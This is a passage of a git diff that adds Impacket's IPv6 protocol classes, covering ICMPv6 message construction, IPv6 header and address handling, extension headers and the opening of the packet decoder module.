self.INFORMATIONAL_MESSAGE + + def is_error_message(self): + return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE + + def is_well_formed(self): + well_formed = True + + #Check that the message type is known + well_formed &= self.get_type() in self.icmp_messages.keys() + + #Check that the code is known (zero, if there are no codes defined) + code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX] + if (code_dictionary is None): + well_formed &= self.get_code() == 0 + else: + well_formed &= self.get_code() in code_dictionary.keys() + + return well_formed + +############################################################################ + + @classmethod + def Echo_Request(class_object, id, sequence_number, arbitrary_data = None): + return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data) + + @classmethod + def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None): + return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data) + + @classmethod + def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(type) + icmp_packet.set_code(0) + + #Pack ICMP payload + icmp_bytes = struct.pack('>H', id) + icmp_bytes += struct.pack('>H', sequence_number) + if (arbitrary_data is not None): + icmp_bytes += array_tobytes(array.array('B', arbitrary_data)) + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + + +############################################################################ + @classmethod + def Destination_Unreachable(class_object, code, originating_packet_data = None): + unused_bytes = [0x00, 0x00, 0x00, 0x00] + return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data) + + @classmethod + def Packet_Too_Big(class_object, MTU, originating_packet_data = None): + MTU_bytes = struct.pack('!L', MTU) + return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data) + + @classmethod + def Time_Exceeded(class_object, code, originating_packet_data = None): + unused_bytes = [0x00, 0x00, 0x00, 0x00] + return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data) + + @classmethod + def Parameter_Problem(class_object, code, pointer, originating_packet_data = None): + pointer_bytes = struct.pack('!L', pointer) + return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data) + + @classmethod + def __build_error_message(class_object, type, code, data, originating_packet_data): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(type) + icmp_packet.set_code(code) + + #Pack ICMP payload + icmp_bytes = array_tobytes(array.array('B', data)) + if (originating_packet_data is not None): + icmp_bytes += array_tobytes(array.array('B', originating_packet_data)) + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + +############################################################################ + + @classmethod + def Neighbor_Solicitation(class_object, target_address): + return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address) + + @classmethod + def Neighbor_Advertisement(class_object, target_address): + return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address) + + @classmethod + def __build_neighbor_message(class_object, msg_type, target_address): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(msg_type) + icmp_packet.set_code(0) + + # Flags + Reserved + icmp_bytes = array_tobytes(array.array('B', [0x00] * 4)) + + # Target Address: The IP address of the target of the solicitation. + # It MUST NOT be a multicast address. + icmp_bytes += array_tobytes(array.array('B', IP6_Address(target_address).as_bytes())) + + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + +############################################################################ + + def get_target_address(self): + return IP6_Address(self.child().get_bytes()[4:20]) + + def set_target_address(self, target_address): + address = IP6_Address(target_address) + payload_bytes = self.child().get_bytes() + payload_bytes[4:20] = address.get_bytes() + self.child().set_bytes(payload_bytes) + + # 0 1 2 3 4 5 6 7 + # +-+-+-+-+-+-+-+-+ + # |R|S|O|reserved | + # +-+-+-+-+-+-+-+-+ + + def get_neighbor_advertisement_flags(self): + return self.child().get_byte(0) + + def set_neighbor_advertisement_flags(self, flags): + self.child().set_byte(0, flags) + + def get_router_flag(self): + return (self.get_neighbor_advertisement_flags() & 0x80) != 0 + + def set_router_flag(self, flag_value): + curr_flags = self.get_neighbor_advertisement_flags() + if flag_value: + curr_flags |= 0x80 + else: + curr_flags &= ~0x80 + self.set_neighbor_advertisement_flags(curr_flags) + + def get_solicited_flag(self): + return (self.get_neighbor_advertisement_flags() & 0x40) != 0 + + def set_solicited_flag(self, flag_value): + curr_flags = self.get_neighbor_advertisement_flags() + if flag_value: + curr_flags |= 0x40 + else: + curr_flags &= ~0x40 + self.set_neighbor_advertisement_flags(curr_flags) + + def get_override_flag(self): + return (self.get_neighbor_advertisement_flags() & 0x20) != 0 + + def set_override_flag(self, flag_value): + curr_flags = self.get_neighbor_advertisement_flags() + if flag_value: + curr_flags |= 0x20 + else: + curr_flags &= ~0x20 + self.set_neighbor_advertisement_flags(curr_flags) + +############################################################################ + @classmethod + def Node_Information_Query(class_object, code, payload = None): + return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload) + + @classmethod + def Node_Information_Reply(class_object, code, payload = None): + return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload) + + @classmethod + def __build_node_information_message(class_object, type, code, payload = None): + #Build ICMP6 header + icmp_packet = ICMP6() + icmp_packet.set_type(type) + icmp_packet.set_code(code) + + #Pack ICMP payload + qtype = 0 + flags = 0 + nonce = [0x00] * 8 + + icmp_bytes = struct.pack('>H', qtype) + icmp_bytes += struct.pack('>H', flags) + icmp_bytes += array_tobytes(array.array('B', nonce)) + + if payload is not None: + icmp_bytes += array_tobytes(array.array('B', payload)) + + icmp_payload = Data() + icmp_payload.set_data(icmp_bytes) + + #Link payload to header + icmp_packet.contains(icmp_payload) + + return icmp_packet + + def get_qtype(self): + return self.child().get_word(0) + + def set_qtype(self, qtype): + self.child().set_word(0, qtype) + + def get_nonce(self): + return self.child().get_bytes()[4:12] + + def set_nonce(self, nonce): + payload_bytes = self.child().get_bytes() + payload_bytes[4:12] = array.array('B', nonce) + self.child().set_bytes(payload_bytes) + + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | unused |G|S|L|C|A|T| + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + + def get_flags(self): + return self.child().get_word(2) + + def set_flags(self, flags): + self.child().set_word(2, flags) + + def get_flag_T(self): + return (self.get_flags() & 0x0001) != 0 + + def set_flag_T(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0001 + else: + curr_flags &= ~0x0001 + self.set_flags(curr_flags) + + def get_flag_A(self): + return (self.get_flags() & 0x0002) != 0 + + def set_flag_A(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0002 + else: + curr_flags &= ~0x0002 + self.set_flags(curr_flags) + + def get_flag_C(self): + return (self.get_flags() & 0x0004) != 0 + + def set_flag_C(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0004 + else: + curr_flags &= ~0x0004 + self.set_flags(curr_flags) + + def get_flag_L(self): + return (self.get_flags() & 0x0008) != 0 + + def set_flag_L(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0008 + else: + curr_flags &= ~0x0008 + self.set_flags(curr_flags) + + def get_flag_S(self): + return (self.get_flags() & 0x0010) != 0 + + def set_flag_S(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0010 + else: + curr_flags &= ~0x0010 + self.set_flags(curr_flags) + + def get_flag_G(self): + return (self.get_flags() & 0x0020) != 0 + + def set_flag_G(self, flag_value): + curr_flags = self.get_flags() + if flag_value: + curr_flags |= 0x0020 + else: + curr_flags &= ~0x0020 + self.set_flags(curr_flags) + + def set_node_information_data(self, data): + payload_bytes = self.child().get_bytes() + payload_bytes[12:] = array.array('B', data) + self.child().set_bytes(payload_bytes) + + def get_note_information_data(self): + return self.child().get_bytes()[12:] + +############################################################################ + def get_echo_id(self): + return self.child().get_word(0) + + def get_echo_sequence_number(self): + return self.child().get_word(2) + + def get_echo_arbitrary_data(self): + return self.child().get_bytes()[4:] + + def get_mtu(self): + return self.child().get_long(0) + + def get_parm_problem_pointer(self): + return self.child().get_long(0) + + def get_originating_packet_data(self): + return self.child().get_bytes()[4:] diff --git a/impacket/IP6.py b/impacket/IP6.py new file mode 100644 index 0000000..7feeb31 --- /dev/null +++ b/impacket/IP6.py @@ -0,0 +1,191 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import struct +import array + +from impacket.ImpactPacket import Header, array_frombytes +from impacket.IP6_Address import IP6_Address +from impacket.IP6_Extension_Headers import IP6_Extension_Header + +from impacket import LOG + + +class IP6(Header): + #Ethertype value for IPv6 + ethertype = 0x86DD + HEADER_SIZE = 40 + IP_PROTOCOL_VERSION = 6 + + def __init__(self, buffer = None): + Header.__init__(self, IP6.HEADER_SIZE) + self.set_ip_v(IP6.IP_PROTOCOL_VERSION) + if (buffer): + self.load_header(buffer) + + def contains(self, aHeader): + Header.contains(self, aHeader) + if isinstance(aHeader, IP6_Extension_Header): + self.set_next_header(aHeader.get_header_type()) + + def get_header_size(self): + return IP6.HEADER_SIZE + + def __str__(self): + protocol_version = self.get_ip_v() + traffic_class = self.get_traffic_class() + flow_label = self.get_flow_label() + payload_length = self.get_payload_length() + next_header = self.get_next_header() + hop_limit = self.get_hop_limit() + source_address = self.get_ip_src() + destination_address = self.get_ip_dst() + + s = "Protocol version: " + str(protocol_version) + "\n" + s += "Traffic class: " + str(traffic_class) + "\n" + s += "Flow label: " + str(flow_label) + "\n" + s += "Payload length: " + str(payload_length) + "\n" + s += "Next header: " + str(next_header) + "\n" + s += "Hop limit: " + str(hop_limit) + "\n" + s += "Source address: " + source_address.as_string() + "\n" + s += "Destination address: " + destination_address.as_string() + "\n" + return s + + def get_pseudo_header(self): + source_address = self.get_ip_src().as_bytes() + #FIXME - Handle Routing header special case + destination_address = self.get_ip_dst().as_bytes() + reserved_bytes = [ 0x00, 0x00, 0x00 ] + + upper_layer_packet_length = self.get_payload_length() + upper_layer_protocol_number = self.get_next_header() + + next_header = self.child() + while isinstance(next_header, IP6_Extension_Header): + # The length used in the pseudo-header is the Payload Length from the IPv6 header, minus + # the length of any extension headers present between the IPv6 header and the upper-layer header + upper_layer_packet_length -= next_header.get_header_size() + + # If there are extension headers, fetch the correct upper-player protocol number by traversing the list + upper_layer_protocol_number = next_header.get_next_header() + + next_header = next_header.child() + + pseudo_header = array.array('B') + pseudo_header.extend(source_address) + pseudo_header.extend(destination_address) + array_frombytes(pseudo_header, struct.pack('!L', upper_layer_packet_length)) + pseudo_header.fromlist(reserved_bytes) + array_frombytes(pseudo_header, struct.pack('B', upper_layer_protocol_number)) + return pseudo_header + +############################################################################ + def get_ip_v(self): + return (self.get_byte(0) & 0xF0) >> 4 + + def get_traffic_class(self): + return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4) + + def get_flow_label(self): + return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3) + + def get_payload_length(self): + return (self.get_byte(4) << 8) | self.get_byte(5) + + def get_next_header(self): + return (self.get_byte(6)) + + def get_hop_limit(self): + return (self.get_byte(7)) + + def get_ip_src(self): + address = IP6_Address(self.get_bytes()[8:24]) + return (address) + + def get_ip_dst(self): + address = IP6_Address(self.get_bytes()[24:40]) + return (address) + +############################################################################ + def set_ip_v(self, version): + if (version != 6): + raise Exception('set_ip_v - version != 6') + + #Fetch byte, clear high nibble + b = self.get_byte(0) & 0x0F + #Store version number in high nibble + b |= (version << 4) + #Store byte in buffer + #This behaviour is repeated in the rest of the methods + self.set_byte(0, b) + + + def set_traffic_class(self, traffic_class): + b0 = self.get_byte(0) & 0xF0 + b1 = self.get_byte(1) & 0x0F + b0 |= (traffic_class & 0xF0) >> 4 + b1 |= (traffic_class & 0x0F) << 4 + self.set_byte(0, b0) + self.set_byte(1, b1) + + + def set_flow_label(self, flow_label): + b1 = self.get_byte(1) & 0xF0 + b1 |= (flow_label & 0xF0000) >> 16 + self.set_byte(1, b1) + self.set_byte(2, (flow_label & 0x0FF00) >> 8) + self.set_byte(3, (flow_label & 0x000FF)) + + + def set_payload_length(self, payload_length): + self.set_byte(4, (payload_length & 0xFF00) >> 8) + self.set_byte(5, (payload_length & 0x00FF)) + + + def set_next_header(self, next_header): + self.set_byte(6, next_header) + + def set_hop_limit(self, hop_limit): + self.set_byte(7, hop_limit) + + def set_ip_src(self, source_address): + address = IP6_Address(source_address) + bytes = self.get_bytes() + bytes[8:24] = address.as_bytes() + self.set_bytes(bytes) + + def set_ip_dst(self, destination_address): + address = IP6_Address(destination_address) + bytes = self.get_bytes() + bytes[24:40] = address.as_bytes() + self.set_bytes(bytes) + + def get_protocol_version(self): + LOG.warning('deprecated soon') + return self.get_ip_v() + + def get_source_address(self): + LOG.warning('deprecated soon') + return self.get_ip_src() + + def get_destination_address(self): + LOG.warning('deprecated soon') + return self.get_ip_dst() + + def set_protocol_version(self, version): + LOG.warning('deprecated soon') + self.set_ip_v(version) + + def set_source_address(self, source_address): + LOG.warning('deprecated soon') + self.set_ip_src(source_address) + + def set_destination_address(self, destination_address): + LOG.warning('deprecated soon') + self.set_ip_dst(destination_address) diff --git a/impacket/IP6_Address.py b/impacket/IP6_Address.py new file mode 100644 index 0000000..127f77a --- /dev/null +++ b/impacket/IP6_Address.py @@ -0,0 +1,251 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array +from six import string_types + +class IP6_Address: + ADDRESS_BYTE_SIZE = 16 + #A Hex Group is a 16-bit unit of the address + TOTAL_HEX_GROUPS = 8 + HEX_GROUP_SIZE = 4 #Size in characters + TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1 + ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS + SEPARATOR = ":" + SCOPE_SEPARATOR = "%" + +############################################################################################################# +# Constructor and construction helpers + + def __init__(self, address): + #The internal representation of an IP6 address is a 16-byte array + self.__bytes = array.array('B', b'\0' * self.ADDRESS_BYTE_SIZE) + self.__scope_id = "" + + #Invoke a constructor based on the type of the argument + if isinstance(address, string_types): + self.__from_string(address) + else: + self.__from_bytes(address) + + + def __from_string(self, address): + #Separate the Scope ID, if present + if self.__is_a_scoped_address(address): + split_parts = address.split(self.SCOPE_SEPARATOR) + address = split_parts[0] + if split_parts[1] == "": + raise Exception("Empty scope ID") + self.__scope_id = split_parts[1] + + #Expand address if it's in compressed form + if self.__is_address_in_compressed_form(address): + address = self.__expand_compressed_address(address) + + #Insert leading zeroes where needed + address = self.__insert_leading_zeroes(address) + + #Sanity check + if len(address) != self.ADDRESS_TEXT_SIZE: + raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE)) + + #Split address into hex groups + hex_groups = address.split(self.SEPARATOR) + if len(hex_groups) != self.TOTAL_HEX_GROUPS: + raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS)) + + #For each hex group, convert it into integer words + offset = 0 + for group in hex_groups: + if len(group) != self.HEX_GROUP_SIZE: + raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE)) + + group_as_int = int(group, 16) + self.__bytes[offset] = (group_as_int & 0xFF00) >> 8 + self.__bytes[offset + 1] = (group_as_int & 0x00FF) + offset += 2 + + def __from_bytes(self, theBytes): + if len(theBytes) != self.ADDRESS_BYTE_SIZE: + raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE)) + self.__bytes = theBytes + +############################################################################################################# +# Projectors + def as_string(self, compress_address = True, scoped_address = True): + s = "" + for i, v in enumerate(self.__bytes): + s += hex(v)[2:].rjust(2, '0') + if i % 2 == 1: + s += self.SEPARATOR + s = s[:-1].upper() + + if compress_address: + s = self.__trim_leading_zeroes(s) + s = self.__trim_longest_zero_chain(s) + + if scoped_address and self.get_scope_id() != "": + s += self.SCOPE_SEPARATOR + self.__scope_id + return s + + def as_bytes(self): + return self.__bytes + + def __str__(self): + return self.as_string() + + def get_scope_id(self): + return self.__scope_id + + def get_unscoped_address(self): + return self.as_string(True, False) #Compressed address = True, Scoped address = False + +############################################################################################################# +# Semantic helpers + def is_multicast(self): + return self.__bytes[0] == 0xFF + + def is_unicast(self): + return self.__bytes[0] == 0xFE + + def is_link_local_unicast(self): + return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80) + + def is_site_local_unicast(self): + return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0) + + def is_unique_local_unicast(self): + return self.__bytes[0] == 0xFD + + + def get_human_readable_address_type(self): + if self.is_multicast(): + return "multicast" + elif self.is_unicast(): + if self.is_link_local_unicast(): + return "link-local unicast" + elif self.is_site_local_unicast(): + return "site-local unicast" + else: + return "unicast" + elif self.is_unique_local_unicast(): + return "unique-local unicast" + else: + return "unknown type" + +############################################################################################################# +#Expansion helpers + + #Predicate - returns whether an address is in compressed form + def __is_address_in_compressed_form(self, address): + #Sanity check - triple colon detection (not detected by searches of double colon) + if address.count(self.SEPARATOR * 3) > 0: + raise Exception('IP6_Address - found triple colon') + + #Count the double colon marker + compression_marker_count = self.__count_compression_marker(address) + if compression_marker_count == 0: + return False + elif compression_marker_count == 1: + return True + else: + raise Exception('IP6_Address - more than one compression marker (\"::\") found') + + #Returns how many hex groups are present, in a compressed address + def __count_compressed_groups(self, address): + trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":" + return trimmed_address.count(self.SEPARATOR) + 1 + + #Counts how many compression markers are present + def __count_compression_marker(self, address): + return address.count(self.SEPARATOR * 2) #Count occurrences of "::" + + #Inserts leading zeroes in every hex group + def __insert_leading_zeroes(self, address): + hex_groups = address.split(self.SEPARATOR) + + new_address = "" + for hex_group in hex_groups: + if len(hex_group) < 4: + hex_group = hex_group.rjust(4, "0") + new_address += hex_group + self.SEPARATOR + + return new_address[:-1] #Trim the last colon + + + #Expands a compressed address + def __expand_compressed_address(self, address): + group_count = self.__count_compressed_groups(address) + groups_to_insert = self.TOTAL_HEX_GROUPS - group_count + + pos = address.find(self.SEPARATOR * 2) + 1 + while groups_to_insert: + address = address[:pos] + "0000" + self.SEPARATOR + address[pos:] + pos += 5 + groups_to_insert -= 1 + + #Replace the compression marker with a single colon + address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) + return address + + +############################################################################################################# +#Compression helpers + + def __trim_longest_zero_chain(self, address): + chain_size = 8 + + while chain_size > 0: + groups = address.split(self.SEPARATOR) + + for index, group in enumerate(groups): + #Find the first zero + if group == "0": + start_index = index + end_index = index + #Find the end of this chain of zeroes + while end_index < 7 and groups[end_index + 1] == "0": + end_index += 1 + + #If the zero chain matches the current size, trim it + found_size = end_index - start_index + 1 + if found_size == chain_size: + address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):]) + return address + + #No chain of this size found, try with a lower size + chain_size -= 1 + return address + + + #Trims all leading zeroes from every hex group + def __trim_leading_zeroes(self, theStr): + groups = theStr.split(self.SEPARATOR) + theStr = "" + + for group in groups: + group = group.lstrip("0") + self.SEPARATOR + if group == self.SEPARATOR: + group = "0" + self.SEPARATOR + theStr += group + return theStr[:-1] + + +############################################################################################################# + @classmethod + def is_a_valid_text_representation(cls, text_representation): + try: + #Capitalize on the constructor's ability to detect invalid text representations of an IP6 address + IP6_Address(text_representation) + return True + except Exception: + return False + + def __is_a_scoped_address(self, text_representation): + return text_representation.count(self.SCOPE_SEPARATOR) == 1 diff --git a/impacket/IP6_Extension_Headers.py b/impacket/IP6_Extension_Headers.py new file mode 100644 index 0000000..2c76513 --- /dev/null +++ b/impacket/IP6_Extension_Headers.py @@ -0,0 +1,329 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array + +from impacket.ImpactPacket import Header, ImpactPacketException, PacketBuffer + +class IP6_Extension_Header(Header): +# --------------------------------- - - - - - - - +# | Next Header | Header Ext Len | Options +# --------------------------------- - - - - - - - + + HEADER_TYPE_VALUE = -1 + EXTENSION_HEADER_FIELDS_SIZE = 2 + + EXTENSION_HEADER_DECODER = None + + def __init__(self, buffer = None): + Header.__init__(self, self.get_headers_field_size()) + self._option_list = [] + if buffer: + self.load_header(buffer) + else: + self.reset() + + def __str__(self): + header_type = self.get_header_type() + next_header_value = self.get_next_header() + header_ext_length = self.get_header_extension_length() + + s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n" + s += "Header Type Value: " + str(header_type) + "\n" + s += "Next Header: " + str(next_header_value) + "\n" + s += "Header Extension Length: " + str(header_ext_length) + "\n" + s += "Options:\n" + + for option in self._option_list: + option_str = str(option) + option_str = option_str.split('\n') + option_str = [(' ' * 4) + s for s in option_str] + s += '\n'.join(option_str) + '\n' + + return s + + def load_header(self, buffer): + self.set_bytes_from_string(buffer[:self.get_headers_field_size()]) + + remaining_bytes = (self.get_header_extension_length() + 1) * 8 + remaining_bytes -= self.get_headers_field_size() + + buffer = array.array('B', buffer[self.get_headers_field_size():]) + if remaining_bytes > len(buffer): + raise ImpactPacketException("Cannot load options from truncated packet") + + while remaining_bytes > 0: + option_type = buffer[0] + if option_type == Option_PAD1.OPTION_TYPE_VALUE: + # Pad1 + self._option_list.append(Option_PAD1()) + + remaining_bytes -= 1 + buffer = buffer[1:] + else: + # PadN + # From RFC 2460: For N octets of padding, the Opt Data Len + # field contains the value N-2, and the Option Data consists + # of N-2 zero-valued octets. + option_length = buffer[1] + option_length += 2 + + self._option_list.append(Option_PADN(option_length)) + + remaining_bytes -= option_length + buffer = buffer[option_length:] + + def reset(self): + pass + + @classmethod + def get_header_type_value(cls): + return cls.HEADER_TYPE_VALUE + + @classmethod + def get_extension_headers(cls): + header_types = {} + for subclass in cls.__subclasses__(): + subclass_header_types = subclass.get_extension_headers() + if not subclass_header_types: + # If the subclass did not return anything it means + # that it is a leaf subclass, so we take its header + # type value + header_types[subclass.get_header_type_value()] = subclass + else: + # Else we extend the list of the obtained types + header_types.update(subclass_header_types) + return header_types + + @classmethod + def get_decoder(cls): + raise RuntimeError("Class method %s.get_decoder must be overridden." % cls) + + def get_header_type(self): + return self.__class__.get_header_type_value() + + def get_headers_field_size(self): + return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE + + def get_header_size(self): + header_size = self.get_headers_field_size() + for option in self._option_list: + header_size += option.get_len() + return header_size + + def get_next_header(self): + return self.get_byte(0) + + def get_header_extension_length(self): + return self.get_byte(1) + + def set_next_header(self, next_header): + self.set_byte(0, next_header & 0xFF) + + def set_header_extension_length(self, header_extension_length): + self.set_byte(1, header_extension_length & 0xFF) + + def add_option(self, option): + self._option_list.append(option) + + def get_options(self): + return self._option_list + + def get_packet(self): + data = self.get_data_as_string() + + # Update the header length + self.set_header_extension_length(self.get_header_size() // 8 - 1) + + # Build the entire extension header packet + header_bytes = self.get_buffer_as_string() + for option in self._option_list: + header_bytes += option.get_buffer_as_string() + + if data: + return header_bytes + data + else: + return header_bytes + + def contains(self, aHeader): + Header.contains(self, aHeader) + if isinstance(aHeader, IP6_Extension_Header): + self.set_next_header(aHeader.get_header_type()) + + def get_pseudo_header(self): + # The pseudo-header only contains data from the IPv6 header. + # So we pass the message to the parent until it reaches it. + return self.parent().get_pseudo_header() + +class Extension_Option(PacketBuffer): + MAX_OPTION_LEN = 256 + OPTION_TYPE_VALUE = -1 + + def __init__(self, option_type, size): + if size > Extension_Option.MAX_OPTION_LEN: + raise ImpactPacketException("Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN)) + PacketBuffer.__init__(self, size) + self.set_option_type(option_type) + + def __str__(self): + option_type = self.get_option_type() + option_length = self.get_option_length() + + s = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n" + s += "Option Type: " + str(option_type) + "\n" + s += "Option Length: " + str(option_length) + "\n" + + return s + + def set_option_type(self, option_type): + self.set_byte(0, option_type) + + def get_option_type(self): + return self.get_byte(0) + + def set_option_length(self, length): + self.set_byte(1, length) + + def get_option_length(self): + return self.get_byte(1) + + def set_data(self, data): + self.set_option_length(len(data)) + option_bytes = self.get_bytes() + + option_bytes = self.get_bytes() + option_bytes[2:2+len(data)] = array.array('B', data) + self.set_bytes(option_bytes) + + def get_len(self): + return len(self.get_bytes()) + +class Option_PAD1(Extension_Option): + OPTION_TYPE_VALUE = 0x00 # Pad1 (RFC 2460) + OPTION_DESCRIPTION = "Pad1 Option" + + def __init__(self): + Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1) + + def get_len(self): + return 1 + +class Option_PADN(Extension_Option): + OPTION_TYPE_VALUE = 0x01 # Pad1 (RFC 2460) + OPTION_DESCRIPTION = "PadN Option" + + def __init__(self, padding_size): + if padding_size < 2: + raise ImpactPacketException("PadN Extension Option must be greater than 2 bytes") + + Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size) + self.set_data(b'\x00' * (padding_size - 2)) + +class Basic_Extension_Header(IP6_Extension_Header): + MAX_OPTIONS_LEN = 256 * 8 + MIN_HEADER_LEN = 8 + MAX_HEADER_LEN = MIN_HEADER_LEN + MAX_OPTIONS_LEN + + def __init__(self, buffer = None): + self.padded = False + IP6_Extension_Header.__init__(self, buffer) + + def reset(self): + self.set_next_header(0) + self.set_header_extension_length(0) + self.add_padding() + + def add_option(self, option): + if self.padded: + self._option_list.pop() + self.padded = False + + IP6_Extension_Header.add_option(self, option) + + self.add_padding() + + def add_padding(self): + required_octets = 8 - (self.get_header_size() % 8) + if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN: + raise Exception("Not enough space for the padding") + + # Insert Pad1 or PadN to fill the necessary octets + if 0 < required_octets < 8: + if required_octets == 1: + self.add_option(Option_PAD1()) + else: + self.add_option(Option_PADN(required_octets)) + self.padded = True + else: + self.padded = False + +class Hop_By_Hop(Basic_Extension_Header): + HEADER_TYPE_VALUE = 0x00 + HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options" + + @classmethod + def get_decoder(self): + from impacket import ImpactDecoder + return ImpactDecoder.HopByHopDecoder + +class Destination_Options(Basic_Extension_Header): + HEADER_TYPE_VALUE = 0x3c + HEADER_EXTENSION_DESCRIPTION = "Destination Options" + + @classmethod + def get_decoder(self): + from impacket import ImpactDecoder + return ImpactDecoder.DestinationOptionsDecoder + +class Routing_Options(IP6_Extension_Header): + HEADER_TYPE_VALUE = 0x2b + HEADER_EXTENSION_DESCRIPTION = "Routing Options" + ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8 + + def reset(self): + self.set_next_header(0) + self.set_header_extension_length(0) + self.set_routing_type(0) + self.set_segments_left(0) + + def __str__(self): + header_type = self.get_header_type() + next_header_value = self.get_next_header() + header_ext_length = self.get_header_extension_length() + routing_type = self.get_routing_type() + segments_left = self.get_segments_left() + + s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n" + s += "Header Type Value: " + str(header_type) + "\n" + s += "Next Header: " + str(next_header_value) + "\n" + s += "Header Extension Length: " + str(header_ext_length) + "\n" + s += "Routing Type: " + str(routing_type) + "\n" + s += "Segments Left: " + str(segments_left) + "\n" + + return s + + @classmethod + def get_decoder(self): + from . import ImpactDecoder + return ImpactDecoder.RoutingOptionsDecoder + + def get_headers_field_size(self): + return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE + + def set_routing_type(self, routing_type): + self.set_byte(2, routing_type) + + def get_routing_type(self): + return self.get_byte(2) + + def set_segments_left(self, segments_left): + self.set_byte(3, segments_left) + + def get_segments_left(self): + return self.get_byte(3) diff --git a/impacket/ImpactDecoder.py b/impacket/ImpactDecoder.py new file mode 100644 index 0000000..3709351 --- /dev/null +++ b/impacket/ImpactDecoder.py @@ -0,0 +1,980 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Convenience packet unpackers for various network protocols +# implemented in the ImpactPacket module. +# +# Author: +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Aureliano Calvo +# + +import array + +from impacket import ICMP6 +from impacket import IP6 +from impacket import IP6_Extension_Headers +from impacket import ImpactPacket +from impacket import LOG +from impacket import dot11 +from impacket import wps, eap, dhcp +from impacket.cdp import CDP + +"""Classes to convert from raw packets into a hierarchy of +ImpactPacket derived objects. + +The protocol of the outermost layer must be known in advance, and the +packet must be fed to the corresponding decoder. From there it will +try to decode the raw data into a hierarchy of ImpactPacket derived +objects; if a layer's protocol is unknown, all the remaining data will +be wrapped into a ImpactPacket.Data object. +""" + +class Decoder: + __decoded_protocol = None + def decode(self, aBuffer): + pass + + def set_decoded_protocol(self, protocol): + 